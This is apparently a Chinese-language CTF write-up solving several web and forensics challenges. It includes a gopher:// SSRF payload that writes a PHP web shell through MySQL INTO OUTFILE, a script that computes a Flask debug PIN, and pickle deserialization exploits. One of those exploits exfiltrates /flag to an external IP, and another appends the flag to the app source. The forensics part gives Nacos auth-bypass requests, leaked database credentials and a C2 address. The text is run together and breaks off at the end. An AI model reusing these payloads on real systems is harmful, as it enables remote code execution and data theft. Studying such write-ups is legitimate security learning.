gopher://127.0.0.1:3306/_%a3%00%00%01%85%a2%1a%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%57%00%00%00%03%53%45%4c%45%43%54%20%27%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%39%38%38%32%32%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%20%3f%3e%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%01%00%00%00%01[Week4] 来getshell 速度!
[Week4] 好像什么都能读
提示:不会告诉你可能要算些什么(bushi。
那么很明显,要算flask的debug pin了,读取以下文件:
/home/ctf/app/app.py成功:app.py 的内容from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')def hello_world(): return render_template('index.html')
@app.route('/read')def read(): # 获取请求参数中的文件名 filename = request.args.get('filename') if not filename: return "需要提供文件名", 400 with open(filename, 'r') as file: content = file.read() return content, 200
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000, debug=True)
运行用户ctf
成功:/sys/class/net/eth0/address 的内容26:c5:81:cb:dc:78
成功:/proc/sys/kernel/random/boot_id 的内容89b34b88-6f33-4c4b-8a30-69a4ba41fd0e
成功:/proc/self/cgroup 的内容0::/用不知道哪个博客抄来的奇妙小脚本算出pin:
import hashlibfrom itertools import chain
def mac_10(): """ /sys/class/net/eth0/address mac地址十进制 :return: """ mac_address = "26:c5:81:cb:dc:78" # 将MAC地址视为一个十六进制数(去掉冒号) value = int(mac_address.replace(":", ""), 16) return str(value)
probably_public_bits = [ 'ctf' # username 'flask.app', # modname 'Flask', # appname '/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # moddir]
machine_id = ''boot_id = '89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'c_group = '0::/'
id = ''if machine_id: id += machine_id.strip()else: id += boot_id.strip()id += c_group.strip().rpartition('/')[2]
private_bits = [ mac_10(), # mac地址 id #machin-id]
h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit)h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsnum = Noneif num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.rv = Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x: x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num
print(rv)# 145-175-537然后随便导致一个报错**http://challenge.ilovectf.cn:30029/read?filename=a**,点击console按钮就可以啦,wait,为什么没有console按钮?!
这个其实我之前玩flask的时候就被坑过,当时在树莓派上部署flask,电脑根本打不开debug console,因为需要本地请求。(我看好多博客都没写啊,他们难道用的都是旧版本?)那么思路很清晰,就是修改请求头Host为127.0.0.1,但我搞了一上午😓,最后发现是路由器丢包,js没传过来,而且加载巨慢,一度怀疑是不是本地回环了💦。结果换成热点立马好了。。。也算长了点教训。

还有还有,一开始用Reqable添加Header,导致实际上有两个Host,也坑了半天。。。
[Week4] 这又又是什么函数
没见过?搜一下!在/flag
提示/src,访问获得src:
from flask import Flask, request, render_templateimport pickleimport base64
app = Flask(__name__)
PICKLE_BLACKLIST = [ b'eval', b'os', b'x80', b'before', b'after',]
@app.route('/', methods=['GET', 'POST'])def index(): return render_template('index.html')
@app.route('/src', methods=['GET', 'POST'])def src(): return open(__file__, encoding="utf-8").read()
@app.route('/deser', methods=['GET', 'POST'])def deser(): a = request.form.get('a') if not a: return "fail"
try: decoded_data = base64.b64decode(a) print(decoded_data) except: return "fail"
for forbidden in PICKLE_BLACKLIST: if forbidden in decoded_data: return "waf"
try: result = pickle.loads(decoded_data) return "done" except: return "fail"
if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)考虑pickle反序列化
import pickleimport base64
class Exploit: def __reduce__(self): return (__builtins__.open, ('/flag',))
payload = pickle.dumps(Exploit(), protocol=0)encoded = base64.b64encode(payload).decode()print(encoded)curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=PAYLOAD'
提示done,但没有回显,考虑通过vps外带
import pickleimport base64
# 外带数据到 120.26.146.96:80class Exploit: def __reduce__(self): code = "import urllib.request;urllib.request.urlopen('http://120.26.146.96/?flag='+open('/flag').read())" return (exec, (code,))
payload = pickle.dumps(Exploit(), protocol=0)encoded = base64.b64encode(payload).decode()print(encoded)响应特别慢,然后返回fail,疑似无外网,timeout
尝试写入src末尾
import pickleimport base64
# 将 flag 写入到 app.py 末尾class Exploit: def __reduce__(self): # 读取 flag 并追加到 app.py code = "open('/home/ctf/app/app.py','a').write('\\n# FLAG: '+open('/flag').read()+'\\n')" return (exec, (code,))
payload = pickle.dumps(Exploit(), protocol=0)encoded = base64.b64encode(payload).decode()print(encoded)curl -X POST http://challenge.ilovectf.cn:30051/deser -d 'a=Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZvcGVuKCcvaG9tZS9jdGYvYXBwL2FwcC5weScsJ2EnKS53cml0ZSgnXHUwMDVjbiMgRkxBRzogJytvcGVuKCcvZmxhZycpLnJlYWQoKSsnXHUwMDVjbicpCnAxCnRwMgpScDMKLg=='哦吼!
home/ctf/app/app.py是猜的,但之前的一直是这个路径。
[Week4] 布豪有黑客 Pro
这题没有按照标准解法来,首先进行了取证,PE删密码。按照题目信息去搜索。
Info: 欢迎来到 ?CTF 2025 Pro Max!目前有 1 个题组。Info: 初来乍到,输入 help 获取使用帮助。NekoChecker [/] > show 0
Info: 题组: Forensics - 布豪有黑客 Pro (已完成 0/7)Info: [-] 0. 攻击者在Web服务中新增的用户名是什么Info: [.] 格式:flag{username}用到nacos的CVE-2021-29441,其实标准解法应该就是fscan扫出这个漏洞flag{nacosuser}
Info: [-] 1. 攻击者通过数据库获取的权限是什么Info: [.] 格式:flag{whoami命令的执行结果}这个猜也能猜到flag{nt service\mssqlserver}
Info: [-] 2. 攻击者使用的提权工具md5值是什么Info: [.] 格式:flag{md5(提权工具.exe)} (以CyberChef的32位小写md5为准)混淆过的SweetPotato,在E:\apps\MicrosoftEdgeSetup.exe,其实右键属性就能看到原来的名字,cmd里运行一下也能知道。flag{a1f2228e53dc42d454e67abe17947cfc}
Info: [-] 3. 攻击者留下的系统后门用户用户名是什么Info: [.] 格式:flag{username}隐藏用户,我是PE里看的。flag{C4ngH$}
Info: [-] 4. 攻击者留下的木马本体的完整路径及文件名是什么Info: [.] 格式:flag{C:\Windows\win.ini} (路径使用单个反斜杠)并不是E:\apps\huorong_setup.exe,那是一个Go写的加载器,加载下面这个bin到内存实现免杀。flag{E:\apps\WindowsBackup.bin}
Info: [-] 5. 攻击者留下木马的回连IP和Port是什么Info: [.] 格式:flag{IP:Port}用netstat -ano,不要傻乎乎地去逆向💦flag{117.72.220.129:15000}
Info: [-] 6. 攻击者权限维持过程中留下的敏感信息是什么Info: [.] 格式:flag{一段有语义的字符}muma的描述文本flag{Th4t_1s_tru1y_brilli4nt}


其实可以看access_log获取思路,比如这个就提示了nacos的cve利用。
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "POST /nacos/v1/auth/users?username=vizdhlitperkwrlq&password=aevuzojctjhffmpj HTTP/1.1" 200 63 94 Nacos-Server -192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "DELETE /nacos/v1/auth/users?username=vizdhlitperkwrlq HTTP/1.1" 200 63 15 Nacos-Server -这个就展示了mssql report server的漏洞,同样也是本题的解法之一。
192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -192.168.136.1 - - [16/Oct/2025:01:41:52 +0800] "GET / HTTP/1.1" 404 431 0 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36 -nacos方面,参考这篇文章,主要就是改ua为“:
https://www.cnblogs.com/haiyoyo/p/17151189.htmlhttp://192.168.136.2:8848/nacos/v1/auth/users?pageNo=1&pageSize=100
{"totalCount":2,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$VjLkR9v3BvyQRxXVTvPh1ObfoQqfrK.YAWfKjRCSaJzUef5EgXOH2"},{"username":"nacosuser","password":"$2a$10$rOADrelU2Iu/ef7iA2/rH.AbsfbMEfPJlsehoyxju4uNIc/JDXRnO"}]}其实到这一步就可以了
登陆后也可以用发现的这个去连数据库。
### Connect URL of DB:spring.datasource.platform=mssqldb.url.0=jdbc:sqlserver://localhost:1433;DatabaseName=nacos;sendStringParametersAsUnicode=falsedb.user=sadb.password=M1sc@Admindb.pool.config.driverClassName=com.microsoft.sqlserver.jdbc.SQLServerDriver# SQL Server的测试查询语句db.pool.config.connectionTestQuery=SELECT 1如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时










用deepsound打开,提取到: